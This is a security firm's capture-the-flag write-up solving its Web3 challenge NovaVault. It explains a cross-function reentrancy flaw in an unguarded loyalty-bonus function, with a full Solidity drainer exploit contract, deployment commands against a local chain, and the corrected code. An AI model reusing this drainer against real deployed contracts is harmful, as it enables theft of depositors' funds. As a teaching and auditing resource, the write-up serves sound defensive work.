Skip to content
All posts
7 min read DSEC Labs

Operation NOVA CTF. Where early funds flies away from the vault.

A Tier 0 Web3 CTF writeup where the common vulnerabilities and old attacks make a comeback. Simple, basic, deadly, and still relevant.

Spoiler alert. This is the solution to Operation NOVA, our Tier 0 Web3 challenge. This post shows the flag, so if you still want to solve it yourself, pull the challenge and try it.

Operation NOVA ships a single artifact: a DeFi savings vault called NovaVault that a handful of early depositors trusted with 1,337,000 ETH, and you get one funded account and a single instruction, empty it. The flag releases only when the on-chain balance hits exactly zero. What makes it worth writing up isn’t the reentrancy, everyone has seen reentrancy since the DAO in 2016, it’s where the reentrancy hides. NOVA is built to look like a plain reentrancy exercise, and that is the point. The withdraw everyone reads first is textbook-correct, checks then effects then interaction, with a noReentrant guard bolted on top, so a scanner ticks the box and moves on. The money actually leaves through a loyalty-bonus feature added after launch, waved through as low risk because it only pays out pocket change, and never guarded at all. This post walks how the locked door stays shut while the vault empties through the window next to it.

You can find the source code for this challenge in the following repository

What the player gets

Running the image brings up a local anvil chain on :8545 and a small block explorer on :80. A contract called NovaVault is already deployed and already holds 1,337,000 ETH, deposited by a few “early users” whose keys the player does not have. The explorer hands over a pre-funded account to attack from, shows the live vault balance, and prints the deployed source.

The goal is stated plainly: empty the vault. The flag releases only when the on-chain balance of NovaVault is exactly 0. Flag format is CTF{...}.

The function everyone reads first

Most reentrancy writeups put the vulnerable call inside withdraw, with the balance decremented after the transfer. Anyone who has seen the pattern once checks withdraw first, and here is what they find:

function withdraw(uint256 amount) external noReentrant {
    require(balances[msg.sender] >= amount, "insufficient balance");
    balances[msg.sender] -= amount;            // effects before interaction
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "transfer failed");
    emit Withdrawn(msg.sender, amount);
}

Checks, then effects, then interaction, in that order, plus a noReentrant modifier on top. It is textbook. A scanner that pattern-matches on “is the withdraw guarded” reads this, ticks the box, and moves on believing the contract is safe. That belief is the trap.

Where the money actually leaves

A second feature was bolted on after launch to pay a loyalty bonus. It was waved through as low risk because it only hands out a small reward, not anyone’s principal, so nobody looked at how it moved the money:

function claimLoyaltyBonus() external {
    uint256 credits = withdrawalCredits[msg.sender];
    require(credits > 0, "no credits available");
    uint256 bonus = credits / 10;
    (bool success, ) = msg.sender.call{value: bonus}("");
    require(success, "bonus transfer failed");
    withdrawalCredits[msg.sender] = 0;         // effects AFTER interaction
    emit LoyaltyBonusClaimed(msg.sender, bonus);
}

Two things are wrong and they compound. The external call uses msg.sender.call with no gas stipend, so it forwards everything and lets the receiver run arbitrary code. And withdrawalCredits is zeroed after that call returns, not before. There is no reentrancy guard here at all, because the guard was only ever put on the function someone expected to be attacked.

This is cross-function reentrancy. The account balance used by withdraw is safe. A different piece of accounting, withdrawalCredits, is shared by a less-scrutinized function that reenters cleanly. The lock on withdraw does nothing for it: noReentrant protects one function, not the contract.

Draining it

Deposit once, then reenter claimLoyaltyBonus through the receiver. Each reentry reads the same nonzero credits, because the state that would stop it is only written after the whole call stack unwinds:

contract Drainer {
    INovaVault public immutable vault;
    uint256 public bonus;

    constructor(address _vault) { vault = INovaVault(_vault); }

    function attack() external payable {
        vault.deposit{value: msg.value}();
        bonus = msg.value / 10;                 // what each claim pays
        vault.claimLoyaltyBonus();              // starts the cascade
        uint256 dust = address(vault).balance;  // whatever a full step could not cover
        if (dust > 0) vault.withdraw(dust);     // clear the remainder to land on 0
    }

    receive() external payable {
        if (address(vault).balance >= bonus) {
            vault.claimLoyaltyBonus();
        }
    }
}

Landing on exactly zero

The flag only fires at a balance of 0, and that constraint has teeth. Each claim pays a fixed credits / 10, so the vault drops in equal steps, and claimLoyaltyBonus reverts if a step is larger than what is left. Drain past that point in one shot and the whole transaction rolls back.

There are two clean ways to hit zero. Deposit an amount equal to the balance the explorer shows, 1,337,000 ETH, so the 10 percent step divides the total evenly and the last claim leaves nothing. Or drain down to the leftover dust and pull it out with a single withdraw, which is what the reference contract above does so any large-enough deposit works.

Two practical notes made this solvable. The vault pays with .call, which forwards all the gas the receiver needs to reenter: a .transfer with its 2300 gas stipend would have killed the attack outright. And the container starts anvil with a raised account balance, because at the default 10,000 ETH the drain would need on the order of 1,300 nested calls and hit the EVM’s 1024 call-depth limit before finishing.

# Deploy the contract and get the deployed contract address
forge create src/Drainer.sol:Drainer --rpc-url http://localhost:8545 \
  --private-key <private_key_from_explorer> --broadcast --json \
  --constructor-args <Vault_address_from_explorer>
export DRAINER=<drainer_address>

# Run the attack
cast send $DRAINER "attack()" --value 1337000ether --gas-limit 30000000 \
  --rpc-url http://localhost:8545 --private-key <private_key_from_explorer>

# Balance should be 0 now
cast balance <Vault_address_from_explorer> --rpc-url RPC=http://localhost:8545 --ether

Why the guard did not save it

noReentrant on withdraw is a per-function lock. It stops that one function from calling into itself, and nothing more. The moment value leaves the contract through a different function that shares state, the guard is irrelevant. The fix is not “add a modifier to the risky function”, because you rarely know in advance which function is the risky one.

Zero the state before the call and the reentry finds nothing to claim:

function claimLoyaltyBonus() external {
    uint256 credits = withdrawalCredits[msg.sender];
    require(credits > 0, "no credits available");
    withdrawalCredits[msg.sender] = 0;         // effects first
    uint256 bonus = credits / 10;
    (bool success, ) = msg.sender.call{value: bonus}("");
    require(success, "bonus transfer failed");
    emit LoyaltyBonusClaimed(msg.sender, bonus);
}

Checks-effects-interactions applied to every function that sends value, not just the obvious one, is the actual defense. A contract-wide nonReentrant lock shared across all of them, or a pull-payment pattern that never sends inside the state-changing call, closes the same door from the other side.

This is not a museum piece

Cross-function and callback reentrancy keep draining live contracts, and not from some dusty 2016 archive. On 3 September 2024 the Penpie hack pulled about 27 million dollars off Arbitrum and Ethereum in exactly this shape. Penpie’s staking path was guarded, but a permissionless market-registration feature shipped after the audits let an attacker register a malicious market and reenter _harvestBatchMarketRewards before it finished writing state, inflating its own rewards on every callback. Same story as NovaVault: the path everyone locked down held, and the value walked out through a newer function that shared the accounting and never got a guard.

The review question that catches this is not “does withdraw have a guard”. It is “can any function that sends ETH be reentered before it finishes writing its state”, and it has to be asked of every function that moves money, including the one that only pays out a small, harmless-looking bonus.


We break exactly this kind of contract, guarded withdrawals, bolted-on features, and the shared state between them, as part of smart contract auditing. If you have one holding funds in production, get in touch.